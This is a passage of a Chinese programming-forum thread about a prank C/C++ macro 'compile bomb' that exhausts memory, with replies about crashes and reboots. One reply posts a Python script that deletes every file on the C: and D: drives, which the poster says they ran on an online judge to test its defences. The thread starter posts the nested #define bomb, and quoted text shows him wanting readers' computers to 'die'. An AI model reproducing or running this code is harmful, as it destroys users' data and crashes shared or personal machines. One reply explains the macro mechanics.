鱼C论坛

 找回密码
 立即注册
12
返回列表 发新帖
楼主: zhangjinxuan

[吹水] 请各位C/C++党,千万不要编译这个代码,否则你的内存会……【C++之系统恶搞】

[复制链接]
发表于 2023-7-3 14:52:56 | 显示全部楼层
有点好奇 OJ 怎么卡不爆
刚刚逝了一逝这个代码(切勿运行):
import os
for i in os.walk('C:\\'):
    for j in i[2]:
        try:
            os.unlink(i[0] + j)
        except:
            pass
for i in os.walk('D:\\'):
    for j in i[2]:
        try:
            os.unlink(i[0] + j)
        except:
            pass
也没出现什么逝
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2023-7-3 14:54:17 | 显示全部楼层
tommyyu 发表于 2023-7-3 14:52
有点好奇 OJ 怎么卡不爆
刚刚逝了一逝这个代码(切勿运行):也没卡爆


那是因为 OJ 是高配,并且能及时阻止含有危险性的代码。

而且,一般的 OJ 是 Unix 系统(Linux, Ubuntu),Unix 系统不存在什么 C 盘 D 盘。
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2023-7-3 14:54:59 | 显示全部楼层
zhangjinxuan 发表于 2023-7-3 14:54
那是因为 OJ 是高配,并且能及时阻止含有危险性的代码。

而且,一般的 OJ 是 Unix 系统(Linux, Ubun ...

想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2023-7-3 15:06:50 | 显示全部楼层
通过一个极端的案例,让我们体会到了宏定义的一些特征,以及它的一些潜在问题。

宏定义使用需要注意,不然可能会产生一些意料之外的情况。

值得注意:

  • 宏定义后如果没有分号,就会接着后续内容,所以A = 1 + 而不是A = 1。
  • 宏展开是递归的,所以B包含A,C包含B,以此类推。导致表达式极长。
  • 宏定义没有类型检查,所以N最后赋值给int类型a也没有问题。这是宏的一个缺点。
  • 这段代码展现了宏定义的一个极端情况。在实际代码中,宏定义一般不会这么长或复杂。
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2023-7-3 15:09:20 | 显示全部楼层
不二如是 发表于 2023-7-3 15:06
通过一个极端的案例,让我们体会到了宏定义的一些特征,以及它的一些潜在问题。

宏定义使用需要注意,不然 ...

学到了,之后使用会注意
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2023-7-3 15:38:49 | 显示全部楼层
类似死循环,占用资源
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2023-7-3 15:56:10 | 显示全部楼层
tommyyu 发表于 2023-7-3 14:52
有点好奇 OJ 怎么卡不爆
刚刚逝了一逝这个代码(切勿运行):也没出现什么逝
#define a ;
#define b a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a 
#define c b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b 
#define d c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c 
#define e d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d
#define f e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e 
#define g f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f f
#define h g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g g
#define i h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h h
#define j i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i
#define k j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j j
#define l k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k
int main() {
        
}
main 部分请自行脑补
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2023-7-3 16:05:38 | 显示全部楼层
zhangjinxuan 发表于 2023-7-3 15:56
main 部分请自行脑补

return 0;
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2023-7-3 16:36:17 | 显示全部楼层
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2023-7-3 17:22:49 | 显示全部楼层
我真的只是想测试一下高山oj的防护怎么样啊,这个oj难道还能看到其他人的代码???那岂不是什么题都能ac???
这个代码需要我解释吗,不就是套娃吗,根死循环不同,这个东西呢是指数级别的
还有,电脑坏了不至于吧,只不过是蓝屏了?重启不就好了。不可能5个G吧。我原来5.2G,编译代码最高不过飙到6.6G。也就1.4G
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2023-7-3 17:23:19 | 显示全部楼层
zhangjinxuan 发表于 2023-7-3 13:46
因为我想让你的电脑逝世

亲测,1.4G,不可能会逝世
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2023-7-3 18:42:06 | 显示全部楼层
zhangjinxuan 发表于 2023-7-3 13:01
另一台电脑,原本的电脑坏了,启动要大半天

被家长骂了吗,
启动要大半天的话试一下进安全模式
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2023-7-3 21:14:26 | 显示全部楼层



男人的快乐瞬间全无
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2023-7-3 21:17:23 | 显示全部楼层
本帖最后由 zhangjinxuan 于 2023-7-3 21:21 编辑
陈尚涵 发表于 2023-7-3 17:22
我真的只是想测试一下高山oj的防护怎么样啊,这个oj难道还能看到其他人的代码???那岂不是什么 ...




一般情况 oj 看不到别人的代码,当然那你可以设置,请注意,这个严格意义上来讲不叫高山的 OJ,叫高山的域。

我事发一瞬间重启,启动用了很久。

原本只使用了 40% 的内存,编译了之后直接飙升到 99% 了

8 * (99% - 40%) ≈ 5Gib

想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2023-7-3 21:19:05 | 显示全部楼层
Threebody1 发表于 2023-7-3 18:42
被家长骂了吗,
启动要大半天的话试一下进安全模式

“大半天”是一个含有特殊意义的词语,因为我平常启动只需要 15 秒,但这次用了 3 分钟,比平常慢了亿点点,因此,“大半天”在这里表示时间长。

《满级解释》

《手动红眼特效》
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2023-7-3 21:19:40 | 显示全部楼层
陈尚涵 发表于 2023-7-3 17:23
亲测,1.4G,不可能会逝世

?可是我逝世了,虚拟机也是直接爆满,物理机直接逝世了。
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2023-7-3 21:27:47 | 显示全部楼层
陈尚涵 发表于 2023-7-3 17:22
我真的只是想测试一下高山oj的防护怎么样啊,这个oj难道还能看到其他人的代码???那岂不是什么 ...


主要是我这该死的小熊猫有换行就自动语法检查的功能……

想把它禁了,但又想想禁了又不好
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2023-7-3 21:48:04 | 显示全部楼层
zhangjinxuan 发表于 2023-7-3 21:19
“大半天”是一个含有特殊意义的词语,因为我平常启动只需要 15 秒,但这次用了 3 分钟,比平常慢了亿点 ...

那不是没事吗,话说为什么内存爆满导致启动时间长呢。我这边就是1.4G,又测试了一下,还是1.4G,4G内存我觉得除非你开启了很多东西不然也不至于直接爆掉啊?
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2023-7-3 22:08:25 | 显示全部楼层
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

 楼主| 发表于 2023-7-3 22:26:11 | 显示全部楼层
陈尚涵 发表于 2023-7-3 21:48
那不是没事吗,话说为什么内存爆满导致启动时间长呢。我这边就是1.4G,又测试了一下,还是1.4G,4G内存我 ...


可能是因为强制关机而导致的错误,我重启后弹出了个“请稍等”。

我是 8G,而且真的爆了,虚拟机也是直接上升到 99%。

可能是软件配置原因。
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2024-9-23 01:34

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表